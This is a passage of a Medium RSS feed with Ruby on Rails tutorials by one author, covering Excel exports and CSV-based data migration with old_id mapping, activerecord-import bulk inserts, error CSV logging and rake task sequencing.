[user.name, user.email]<br>end</pre><h3>Why this helps</h3><ul><li>Prevents memory issues</li><li>Processes records in smaller batches</li><li>Scales better for large exports</li></ul><p>Another useful optimization is using pluck instead of loading full objects.</p><pre>User.pluck(:name, :email).each do |name, email|<br>  sheet.add_row [name, email]<br>end</pre><p>These techniques make Excel exports <strong>more scalable and production-ready</strong>.</p><h3>6. Downloading the Excel File in Rails</h3><p>After generating the Excel workbook, the file needs to be sent to the user for download. In a Rails controller, this can be done using send_data.</p><pre>send_data package.to_stream.read,<br>          filename: &quot;users.xlsx&quot;,<br>          type: &quot;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&quot;</pre><p>The to_stream.read method converts the Excel package into a downloadable stream, while send_data sends the generated .xlsx file as a response so the user can download it directly from the browser.</p><h3>Conclusion</h3><p>Excel exports are an essential feature in many Rails applications. Using the <strong>caxlsx gem</strong>, developers can generate powerful .xlsx reports that go far beyond simple CSV exports.</p><p>In this article, we explored how to:</p><p>• Generate Excel files in Rails<br> • Apply styling and formatting<br> • Add charts and visual summaries<br> • Work with multiple worksheets and formulas<br> • Optimize exports for large datasets</p><p>By combining these features, you can build <strong>scalable, professional, and user-friendly Excel reports</strong> directly from your Rails applications.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c154076b2e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rails Data Migration: Key Challenges and Practical Solutions]]></title>
            <link>https://medium.com/@saniyachaudhari07/rails-data-migration-key-challenges-and-practical-solutions-dd2798688eda?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd2798688eda</guid>
            <category><![CDATA[ruby-on-rails]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[rails]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[data-migration]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Fri, 28 Nov 2025 08:39:13 GMT</pubDate>
            <atom:updated>2025-11-28T08:39:13.997Z</atom:updated>
            <content:encoded><![CDATA[<p>Data migration is one of the most crucial steps when transitioning between systems, environments, or databases. It becomes even more challenging when the schema has changed over time or when the new system introduces new validations, constraints, or foreign key relationships.</p><p>In this blog, we’ll explore the <strong>common challenges developers face during data migration in Rails</strong>, along with <strong>practical solutions, optimized code examples, and best practices</strong> to ensure smooth, efficient, and reliable migrations.</p><h3>1. Handling Foreign Keys (The Legacy ID Problem)</h3><p>When migrating data across systems, foreign key relationships break easily — especially when the reference IDs change in the new database.</p><h3>Example from a legacy leads.csv file</h3><pre>lead_id,name,email,phone,user_id<br>101,John Doe,john@example.com,9876543210,5<br>102,Jane Smith,jane@example.com,9123456789,8<br>103,Raj Kumar,raj@example.com,9876501234,12</pre><p>Here, the <strong>user_id values (5, 8, 12)</strong> refer to user IDs in the legacy system.<br> But after users are migrated into the new system, they receive <strong>new IDs</strong>. Importing leads directly would break their user relation.</p><h3>✅ Solution: Add an old_id column</h3><p>Add an old_id column to every table and index it.</p><p>This helps you:</p><ul><li>Maintain a link between old and new records</li><li>Easily map foreign keys during migration</li><li>Debug faster without guessing which old ID created the record</li></ul><p>During migration, the old_id acts as a <strong>bridge</strong> between the legacy system and the new one.</p><p><strong>Migration Code Example</strong></p><pre>CSV.foreach(Rails.root.join(&quot;public/data_migrations/leads.csv&quot;), headers: true) do |row|<br>  user = User.find_by(old_id: row[&quot;user_id&quot;])<br><br>lead = Lead.new(<br>    old_id: row[&quot;lead_id&quot;],<br>    name: row[&quot;name&quot;],<br>    email: row[&quot;email&quot;],<br>    phone: row[&quot;phone&quot;],<br>    user_id: user&amp;.id<br>  )<br>  if lead.save<br>    puts &quot;✅ Lead #{lead.old_id} (#{lead.name}) migrated successfully.&quot;<br>  else<br>    puts &quot;❌ Failed to migrate Lead #{row[&#39;lead_id&#39;]} - Errors: #{lead.errors.full_messages.join(&#39;, &#39;)}&quot;<br>  end<br>end</pre><h3>2. Performance Challenges &amp; Optimizations</h3><p>The above approach works, but importing <strong>1 lakh+</strong> records becomes painfully slow because Rails executes one INSERT query per row.</p><p>To optimize large imports, apply the following strategies:</p><h3>✔ a) Use activerecord-import</h3><p>This gem allows <strong>bulk inserts</strong> and even <strong>bulk updates</strong>, reducing thousands of queries to just a few.</p><pre>Lead.import leads, on_duplicate_key_update: [:name, :email, :phone, :user_id]</pre><h3>✔ b) Avoid puts inside loops</h3><p>Printing logs for each row drastically slows down migrations.</p><h3>✔ c) Import in Batches</h3><p>Instead of loading 100k records at once, import in chunks:</p><pre>Lead.import leads, batch_size: 1000</pre><h3>✔ d) Preload Foreign Key Mappings</h3><p>Instead of calling User.find_by for every row, preload once:</p><pre>user_map = User.pluck(:old_id, :id).to_h</pre><h3>Fully Optimized Migration Example:</h3><pre>require &quot;activerecord-import&quot;<br><br>user_map = User.pluck(:old_id, :id).to_h<br>leads = []<br>CSV.foreach(&quot;leads.csv&quot;, headers: true) do |row|<br>  user_id = user_map[row[&quot;user_id&quot;].to_i]<br>  next unless user_id  # Skip invalid user_ids<br>  leads &lt;&lt; Lead.new(<br>    old_id: row[&quot;lead_id&quot;],<br>    name: row[&quot;name&quot;],<br>    email: row[&quot;email&quot;],<br>    phone: row[&quot;phone&quot;],<br>    user_id: user_id<br>  )<br>end<br>Lead.import leads, batch_size: 1000, on_duplicate_key_update: [:name, :email, :phone, :user_id]</pre><h3>3. Handling Invalid Records with Error CSVs</h3><p>During migration, records may fail due to:</p><ul><li>Missing required fields</li><li>Invalid email or phone format</li><li>Foreign key mismatches</li><li>Validation failures</li><li>Duplicate data</li></ul><p>Instead of silently skipping failures, <strong>log them</strong>.</p><h3>✔ Solution: Generate an error CSV file</h3><p>Your error file should:</p><ul><li>Contain all original columns</li><li>Include an additional failure_reason column</li><li>Allow the client/team to fix and re-import failed rows</li></ul><pre>CSV Import → Validate →  <br>    ├── Valid ✔ → save  <br>    └── Invalid ❌ → push to errors[]  <br>                   ↓  <br>            Generate error CSV  <br>            (error_leads.csv)</pre><h4>Example Invalid Rows</h4><pre>lead_id,name,email,phone,user_id<br>101,John Doe,john@example.com,9876543210,5<br>102,,jane@example.com,9123456789,8          # ❌ name missing<br>103,Raj Kumar,invalid-email,9876501234,12   # ❌ invalid email<br>104,Anita Sharma,anita@example.com,9876504321,999999  # ❌ user_id not found</pre><p>Example error_leads.csv output might look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*nFVcZNOAjpp3NOU2.png" /></figure><h3>4. Re-Import Strategy (Fix &amp; Retry)</h3><p>Once errors are fixed:</p><ol><li>Rename error_leads.csv → leads.csv</li><li>Re-run the rake task</li><li>Only problematic rows get retried</li></ol><p>No code changes needed.</p><h3>5. Automate Multi-Table Imports</h3><p>When multiple tables depend on each other (e.g., users → leads → activities), the import sequence matters.</p><p>Running tasks one by one is slow.<br> Instead, automate using a <strong>master Rake task</strong>:</p><pre>namespace :migrate do<br>  desc &quot;Import all tables&quot;<br>  task all: :environment do<br>    Rake::Task[&quot;migrate:users&quot;].invoke<br>    Rake::Task[&quot;migrate:leads&quot;].invoke<br>    Rake::Task[&quot;migrate:activities&quot;].invoke<br>  end<br>end</pre><h3>Closing Thoughts</h3><p>Data migration is not just “moving data” — it requires:</p><p>✔ Smart mapping<br> ✔ Efficient importing<br> ✔ Clear error reporting<br> ✔ Sequence automation<br> ✔ Audit-friendly logging</p><p>By applying these Rails techniques, you can build a <strong>clean, fast, scalable migration pipeline</strong> that works every time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd2798688eda" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Data Migration in Rails Using CSV Files — Part II: Bulk Import, Error Logging, and Optimization]]></title>
            <link>https://medium.com/@saniyachaudhari07/data-migration-in-rails-using-csv-files-part-ii-bulk-import-error-logging-and-optimization-e032c5f1be56?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e032c5f1be56</guid>
            <category><![CDATA[ruby-on-rails]]></category>
            <category><![CDATA[data-migration]]></category>
            <category><![CDATA[csv-import]]></category>
            <category><![CDATA[optimization]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 05:26:23 GMT</pubDate>
            <atom:updated>2025-09-18T05:26:23.402Z</atom:updated>
            <content:encoded><![CDATA[<h3>Data Migration in Rails Using CSV Files — Part II: Bulk Import, Error Logging, and Optimization</h3><p>In Part I, we explored data migration challenges, planning, mapping, and walked through a code example for migrating the users table. In this follow-up blog (Part II), we’ll focus on handling foreign keys across related tables, implementing error logging with re-import strategies, and optimizing the overall migration process.<br>👉 Missed Part I? [Read it here: <a href="https://medium.com/@saniyachaudhari07/data-migration-in-rails-using-csv-files-part-i-planning-and-efficient-techniques-067481ba4538"><em>Data Migration in Rails Using CSV Files — Part I: Planning and Efficient Techniques</em></a>]</p><h3>Importing Dependent Tables (Lead Table Example)</h3><h4>1. Handling Foreign Keys (The Legacy ID Problem)</h4><pre>lead_id,name,email,phone,user_id<br>101,John Doe,john@example.com,9876543210,5<br>102,Jane Smith,jane@example.com,9123456789,8<br>103,Raj Kumar,raj@example.com,9876501234,12</pre><p><strong>This is the challenge:</strong> in the leads.csv file, the user_id column (5, 8, 12) refers to user IDs from the legacy system. When users are migrated into the new database, they are assigned new IDs, so directly importing leads with these old User IDs would break the references because the new system no longer recognizes them.</p><p><strong>In the previous blog, we addressed this by adding an </strong><strong>old_id column to every table and creating an index on it.</strong> This not only helps maintain a link between old and new records but also allows us to search faster using old_id. During migration, old_id acts as a bridge—used both for tracking records and for mapping foreign key relationships correctly.</p><p>here is the code snippet of migrating lead</p><pre>CSV.foreach(Rails.root.join(&quot;public/data_migrations/leads.csv&quot;), headers: true) do |row|<br>  # Find the newly migrated user using old_id<br>  user = User.find_by(old_id: row[&quot;user_id&quot;])<br>  lead = Lead.new(<br>    old_id: row[&quot;lead_id&quot;],<br>    name: row[&quot;name&quot;],<br>    email: row[&quot;email&quot;],<br>    phone: row[&quot;phone&quot;],<br>    user_id: user&amp;.id # map old user_id to the new user id<br>  )<br>  if lead.save<br>    puts &quot;✅ Lead #{lead.old_id} (#{lead.name}) migrated successfully.&quot;<br>  else<br>    puts &quot;❌ Failed to migrate Lead #{row[&#39;lead_id&#39;]} - Errors: #{lead.errors.full_messages.join(&#39;, &#39;)}&quot;<br>  end<br>end</pre><h4>2. Optimizations (Speeding Up Imports)</h4><p>The above code snippet for lead migration works, but it becomes inefficient with large datasets. For example, importing 1 lakh records would result in nearly 2 lakh queries — one to find the user_id and another to save each record—making the process very slow.</p><p>To optimize this:</p><ul><li><strong>Use </strong><strong>activerecord-import</strong> <strong>gem</strong>: This will inserts (and even updates using on_duplicate_key_update), significantly reducing the number of queries and speeding up the import.</li></ul><pre>Lead.import leads, on_duplicate_key_update: [:name, :email, :phone, :user_id]</pre><p>The on_duplicate_key_update option ensures that if a record with the same unique key already exists, it won’t create a duplicate. Instead, it will update the specified columns (name, email, phone, user_id) with the new values.</p><ul><li><strong>Avoid using puts</strong>: Printing inside a loop for large datasets (e.g., 1 lakh records) will result in 1 lakh console outputs. which slows the process and clutters the output.</li><li><strong>Import in batches: </strong>Importing 1 lakh records at once can overload memory and crash the system. Using activerecord-import with a batch_size lets you import data in smaller, manageable batches.</li></ul><pre>Lead.import leads, batch_size: 1000</pre><ul><li><strong>Preload user mappings into a hash</strong>: Instead of calling find_by for each record, we can load all users once and build a hash where the key is the old system’s user_id and the value is the new id. This reduces lookups to a single query and makes mapping much faster.</li></ul><pre>users_map = { 19999 =&gt; 1, 20000 =&gt; 2, 20001 =&gt; 3 }</pre><p>Here 19999, 20000, 20001 are the <strong>old user IDs</strong>, and 1, 2, 3 are the <strong>new user IDs</strong>.<br> So whenever you see an old ID in the CSV, you can quickly map it to the corresponding new ID from this hash.</p><p><strong>✅ Optimized (Batch insert + Preloaded user mapping)</strong></p><pre>require &quot;activerecord-import&quot;<br><br># Step 1: Build a hash of old_user_id → new_user_id<br>user_map = User.pluck(:old_id, :id).to_h<br># Step 2: Collect leads in memory<br>leads = []<br>CSV.foreach(&quot;leads.csv&quot;, headers: true) do |row|<br>  user_id = user_map[row[&quot;user_id&quot;].to_i] # fast lookup from hash<br>  leads &lt;&lt; Lead.new(<br>    old_id: row[&quot;lead_id&quot;],<br>    name: row[&quot;name&quot;],<br>    email: row[&quot;email&quot;],<br>    phone: row[&quot;phone&quot;],<br>    user_id: user_id<br>  )<br>end<br># Step 3: Import in batches<br>Lead.import leads, batch_size: 1000, on_duplicate_key_update: [:name, :email, :phone, :user_id]</pre><p>The next challenge is handling invalid user_id values from the CSV. Sometimes the user_id in the file may not exist in the new system. Processing such records unnecessarily waste time and can lead to errors.</p><p>We can avoid this by checking if the hash lookup returns nil. If no matching user is found, we simply skip that record.</p><pre>user_id = user_map[row[&quot;user_id&quot;].to_i]<br>next unless user_id  # skip if user not found</pre><h4>3. Error Logging During Migration (Catching Failed Records)</h4><p>Errors may occur during migration because of validations in the new database. For example:</p><ul><li>A name field marked as <strong>NOT NULL</strong> may come as nil or empty in the CSV.</li><li>An email may fail because it doesn’t match the new system’s email format validation.</li><li>A user_id foreign key may be invalid if the referenced user doesn’t exist.</li></ul><p>Such issues prevent records from being imported, but instead of silently skipping them, we should log the failures.</p><p>The best approach is to create an <strong>error CSV file</strong> for that table. This file should contain the same headers as the original CSV, with an additional <strong>failure_reason</strong> column. Each failed record is written into this file along with the reason for failure, making it easier to review and reprocess later.</p><p>Example: leads.csv with Some Invalid Records</p><pre>lead_id,name,email,phone,user_id<br>101,John Doe,john@example.com,9876543210,5<br>102,,jane@example.com,9123456789,8          # ❌ name missing<br>103,Raj Kumar,invalid-email,9876501234,12   # ❌ invalid email<br>104,Anita Sharma,anita@example.com,9876504321,999999  # ❌ user_id not found</pre><p>Code Snippet for Importing with Error Logging</p><pre>require &quot;csv&quot;<br><br>user_map = User.pluck(:old_id, :id).to_h<br>errors = []<br>leads  = []<br>CSV.foreach(&quot;leads.csv&quot;, headers: true) do |row|<br>  begin<br>    user_id = user_map[row[&quot;user_id&quot;].to_i]<br>    raise &quot;User not found&quot; unless user_id<br>    lead = Lead.new(<br>      old_id: row[&quot;lead_id&quot;],<br>      name: row[&quot;name&quot;],<br>      email: row[&quot;email&quot;],<br>      phone: row[&quot;phone&quot;],<br>      user_id: user_id<br>    )<br>    if lead.valid?<br>      leads &lt;&lt; lead<br>    else<br>      raise lead.errors.full_messages.join(&quot;, &quot;)<br>    end<br>  rescue =&gt; e<br>    errors &lt;&lt; row.to_h.merge(&quot;failure_reason&quot; =&gt; e.message)<br>  end<br>end<br># Import valid leads in bulk<br>Lead.import leads, batch_size: 1000<br># Write failed records to error CSV<br>CSV.open(&quot;error_leads.csv&quot;, &quot;wb&quot;) do |csv|<br>  csv &lt;&lt; errors.first.keys if errors.any?<br>  errors.each { |err| csv &lt;&lt; err.values }<br>end</pre><p>Example error_leads.csv output might look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*dVeQ0mlH_oVru_HL5Yt1jw.png" /></figure><p>The above approach will handle all types of validations defined in the database, including duplication, empty values, or any other constraints. These error files will also serve as a reference for tracking issues and reviewing failed records.</p><p><strong>4. Re-Import Strategy<br></strong>Using the generated error file (e.g., error_lead.csv), records can be re-imported once the client provides the corrected data. For instance, if a missing name is filled in or an invalid email is corrected, those records can be successfully imported again using the same code. To do this, simply rename the error CSV file back to the original file name and place it in the appropriate folder before re-importing.</p><h3>Importing All Rake Task</h3><p><em>Always ensure that master tables are imported first.</em> For example, in this case, the <strong>users table</strong> is a master table, so its rake task should be executed before the <strong>leads table</strong>.</p><p>If multiple tables need to be imported, running each rake task manually one by one can be time-consuming. Instead, you can create a migrate_all rake task that defines the import sequence and automatically runs them in the correct order.<br>Example migrate_all.rake</p><pre>namespace :migrate do<br>  desc &quot;Import all CSVs in the correct sequence&quot;<br>  task all: :environment do<br>    Rake::Task[&quot;migrate:users&quot;].invoke<br>    Rake::Task[&quot;migrate:leads&quot;].invoke<br>    .<br>    .<br>    Rake::Task[&quot;migrate:activities&quot;].invoke<br>  end<br>end</pre><h3>Tracking Migration Progress with Time Taken and Error Reports</h3><p>During large data migrations, it is important to:</p><ol><li><strong>Know when the migration starts and ends.</strong></li><li><strong>Measure how much time it takes.</strong></li><li><strong>Receive the error CSV files (if any records fail).</strong></li></ol><p>Manually checking logs is inefficient, so we can automate this by sending an <strong>email notification</strong> when migration completed, along with the execution time and any generated error CSVs.</p><p>Example Code</p><pre># Example usage after migration<br>start_time = Time.now<br># ... run migration rake task ...<br>end_time = Time.now<br><br>MigrationMailer.migration_report(start_time, end_time).deliver_now</pre><ul><li>Picks all CSV files from tmp/data_migration_error_files/</li><li>Attaches them to the email</li><li>Sends migration start &amp; end time in the body</li></ul><h3>Conclusion</h3><p>In this section, we explored essential practices for streamlined migrations, handling foreign key mappings, processing data in batches, logging errors to dedicated files, and automating workflows with rake tasks and email reports. Combined with Part I, these approaches make data migration in Rails more dependable, transparent, and efficient.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e032c5f1be56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Data Migration in Rails Using CSV Files — Part I: Planning and Efficient Techniques]]></title>
            <link>https://medium.com/@saniyachaudhari07/data-migration-in-rails-using-csv-files-part-i-planning-and-efficient-techniques-067481ba4538?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/067481ba4538</guid>
            <category><![CDATA[ruby-on-rails]]></category>
            <category><![CDATA[data-migration]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Sun, 17 Aug 2025 08:09:11 GMT</pubDate>
            <atom:updated>2025-08-17T08:09:11.299Z</atom:updated>
            <content:encoded><![CDATA[<h3>Data Migration in Rails Using CSV Files — Part I: Planning and Efficient Techniques</h3><p>Data migration is a critical task when transitioning between systems, environments, or databases — especially when the schema isn’t identical. In this two-part blog series, we’ll explore how to migrate data efficiently from one database to another using CSV files in a Ruby on Rails application.</p><p>Data migration can often feel complex and time-consuming, but with careful planning and the right approach, it’s possible to complete the process smoothly and with minimal disruption.</p><p>In Part I, we’ll explore the challenges, preparation, and example scripts for migrating data from CSV files, including planning, mapping, and importing across different table structures or database engines.</p><h3><strong>Challenges</strong></h3><ul><li><strong>Time Constraints</strong>: Large volumes of data must be migrated within strict deadlines.</li><li><strong>Schema Mismatches</strong>: A table in the previous system may map to multiple tables in the new schema, and vice versa.</li><li><strong>Record Tracking</strong>: Original IDs should be kept, since past system records may need to be traced in the new system.</li><li><strong>Create vs Update</strong>: Avoid duplicates by updating existing records when necessary, while also handling cases where migrated records themselves may need updates.</li><li><strong>Error Handling</strong>: Log failed imports along with detailed error reasons for review and correction.</li><li><strong>Foreign Keys</strong>: Handle dependencies like user IDs in related tables.</li><li><strong>Batch Processing</strong> — Splitting large datasets into smaller chunks to improve performance and reduce failures.</li></ul><h3><strong>Planning</strong></h3><ol><li><strong>Gather and Verify CSV Files</strong><br>Ensure you have all the necessary CSV files from the source system.<br>Each CSV should:<br>- Represent a table from the previous system.<br>- Include headers matching the table’s fields (columns).<br>- Contain only data rows (no formulas, merged cells, or hidden rows).<br>- Use a consistent delimiter (e.g., ,).<br>- Be UTF-8 encoded to prevent encoding issues during import.</li><li><strong>Establish Data Ownership<br></strong>Clearly identify the owners of the source data (such as the Product team or Data team).<br> Engage them early in the process to address any inconsistencies or clarify mapping-related questions.</li><li><strong>Identify Table Mappings<br></strong> Often, the naming in the CSV files differs from your Rails models.<br> <strong>Example</strong>: A CSV file named employees.csv contains user data like name, email, and phone, but in your app, this maps to the users table.<br>Additionally, it’s important to recognize that:</li></ol><ul><li>A single CSV file might need to be mapped to <strong>multiple database tables</strong>, and</li><li>Data from <strong>multiple CSV files</strong> may end up in a <strong>single table</strong> in your Rails app.<br> To simplify this analysis, using a <strong>spreadsheet</strong> can be very helpful</li><li><strong>Determine Master Tables First<br></strong> Always import <strong>master tables</strong> (those referenced by foreign keys in other tables) before importing dependent data.<br> <strong>Example</strong>: If you’re importing leads.csv and it has a user_id column, you must migrate the users (from employees.csv) first to ensure you can map user_id correctly in the leads table.</li><li><strong>Test with Sample Data First<br></strong>Always do a test migration on <strong>limited rows</strong> (e.g., 50–100) before full migration.</li></ul><h3>Mapping</h3><p>Before writing any migration script, the most crucial step is <strong>planning how your CSV files map to your database tables</strong> — especially when the names or structures don’t match.</p><p><strong>Field-Level Mapping<br></strong>Once you’ve identified the table mappings, the next step is to go over each CSV file and map its fields to the correct database columns. A <strong>spreadsheet is the best tool</strong> for this step. It helps visualize how each CSV column will map to the target table and field in your Rails app.</p><blockquote><em>💡 Tip: It’s crucial to </em><strong><em>coordinate with the product or client team</em></strong><em> to confirm that all mappings are accurate — especially when renaming fields, handling missing values, or dealing with multiple references.</em></blockquote><p>📄 Example: Field Mapping Spreadsheet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YmS9WlQG5WDd7k7sdH8HoA.png" /></figure><p>Key Takeaways from the Image</p><ul><li><strong>Target Columns &amp; Tables</strong><br> Each Target Column corresponds to a column in your Rails database, and belongs to the specified Target Table. These columns need to be correctly mapped from the CSV file before writing the import logic.</li><li><strong>Comment Column</strong><br> The comment column is used to mention:</li><li>Any processing required (e.g., format conversions, string replacements)</li><li>Open questions</li><li>Field-specific logic or business rules<br> This column is very useful when implementing the actual migration code.</li><li><strong>Handling Foreign Keys</strong><br> The user_id from the CSV is being mapped to the old_id in the users table. This old_id will help establish foreign key relationships later (e.g., when linking profiles to users).<br> For example, the profiles table likely contains a user_id column that must point to the correct id from the newly created users.</li><li><strong>Multiple Table Mapping from a Single CSV</strong><br> The image shows that a single file (employee.csv) maps to <strong>two tables</strong>: users and profiles.</li><li>Fields like email, phone_no, and status go into the users table.</li><li>Fields like first_name and last_name go into the profiles table.</li><li>⚠️ Important: Since profiles references user_id, you must first create the user record, then assign its id to the profile.</li><li><strong>Field Processing Examples</strong>:</li><li>status: The CSV contains values like &quot;Active&quot; and &quot;Inactive&quot;. These need to be converted to integers (e.g., 1 for active, 0 for inactive).</li><li>last_name: Contains the string &quot;NULL&quot; in some rows. These should be converted to actual nil (not stored as a string &quot;NULL&quot;).</li><li><strong>Required &amp; Default Values</strong><br> Identify any columns that require default values if not provided in the CSV. This helps avoid validation errors during import.<br>For example, in this case, employee_type is required in the users table but absent in the employee.csv.<br> To prevent validation failures, we assign a default value like &quot;Full-Time&quot; during import.</li></ul><h3>Migration Task — Pre-Coding Preparations</h3><p>Before writing migration scripts, it’s important to put certain foundations in place to ensure smooth execution and easy troubleshooting later.</p><ol><li><strong>Preserve &amp; Index Legacy IDs<br></strong>Create an old_id (or previous_system_id) column to store identifiers from the legacy system, and add an index to it. This ensures quick lookups, smooth cross-referencing, and reliable troubleshooting both during and after migration.</li></ol><p><strong>2. Organize CSV Files<br></strong>Store migration CSV files in a <strong>dedicated folder</strong> for easy management and version control.<br>Suggested structure:</p><pre>/public/data_migrations/<br>    employee.csv<br>    lead.csv</pre><p><strong>3. Verify Mandatory Fields &amp; Process Data</strong><br> Before writing the migration code, review the mapped CSV file to ensure all mandatory fields are present and that any fields requiring transformation or processing are handled. This step is essential for preventing incomplete or invalid records from being imported.</p><p><strong>4. Run Validation Checks</strong><br> Validate each record before importing. For example, if contact_email in employee.csv contains an invalid email address and your database enforces an email format validation, such records should be skipped or flagged for correction rather than inserted.</p><p><strong>5. Use Batch Importing for Large Datasets</strong><br> When migrating a large volume of records, import them in batches. This approach optimizes memory usage, maintains cache efficiency, and helps prevent application crashes during migration.</p><h3>Migration Example: Users Table</h3><p>When migrating the users table, using the <strong>activerecord-import gem</strong> is far more efficient than relying on the standard <strong>Rails </strong><strong>create method</strong>.</p><ul><li><strong>Rails </strong><strong>create</strong> inserts one record at a time, which means multiple database queries for large datasets. This quickly becomes slow and resource-intensive when handling thousands or millions of rows.</li><li><strong>activerecord-import</strong>, on the other hand, allows <strong>bulk inserting records in batches</strong>. This reduces the number of database queries, significantly improves speed, and minimizes memory usage.</li><li>It also supports <strong>validations during import</strong> and can be configured to <strong>update existing records</strong> (using on_duplicate_key_update), making it flexible for complex migrations.</li></ul><pre># lib/tasks/migrate_users.rake<br>require &quot;csv&quot;<br><br>namespace :migrate do<br>  desc &quot;Import users from CSV in batches&quot;<br>  task users: :environment do<br>    file_path = Rails.root.join(&quot;public&quot;, &quot;data_migrations&quot;, &quot;employees.csv&quot;)<br><br>    batch_size = 1000<br>    users_batch = []<br><br>    CSV.foreach(file_path, headers: true) do |row|<br>        user = User.new(<br>        old_id: row[&quot;user_id&quot;],<br>        email:  row[&quot;contact_email&quot;],<br>        phone_number: row[&quot;phone_no&quot;],<br>        is_active: row[&quot;status&quot;] == &quot;Active&quot; ? true: false,<br>        created_at:   row[&quot;add_time&quot;],<br>        updated_at: row[&quot;update_time&quot;]<br>      )<br><br>      users_batch &lt;&lt; user<br>      # Once we hit the batch size, import them<br>      if users_batch.size &gt;= batch_size<br>        User.import users_batch,<br>        on_duplicate_key_update: {<br>            conflict_target: [ :old_id ], # column to check duplicates<br>            columns: [ :email, :phone_number, :is_active, :updated_at ]<br>          }<br>        users_batch.clear<br>      end<br>    end<br><br>    # Import any remaining records<br>    if users_batch.any?<br>      User.import users_batch,<br>              on_duplicate_key_update: {<br>              conflict_target: [ :old_id ], # column to check duplicates<br>              columns: [ :email, :phone_number, :is_active, :updated_at ]<br>            }<br>    end<br><br>    puts &quot;✅ Users imported successfully in batches of #{batch_size}!&quot;<br>  end<br>end</pre><h3>Conclusion</h3><p>CSV-based data migration in Rails can be complex, but with the right planning, mapping, and preparation, it becomes far more manageable. By addressing challenges early, validating data, and using tools like <strong>activerecord-import</strong> for batch inserts and updates, migrations run faster and more reliably.</p><p>In <strong>Part II</strong>, we’ll dive deeper into <strong>logging invalid records, strategies to safely re-import failed rows, optimization techniques, and handling complex foreign key references.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=067481ba4538" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>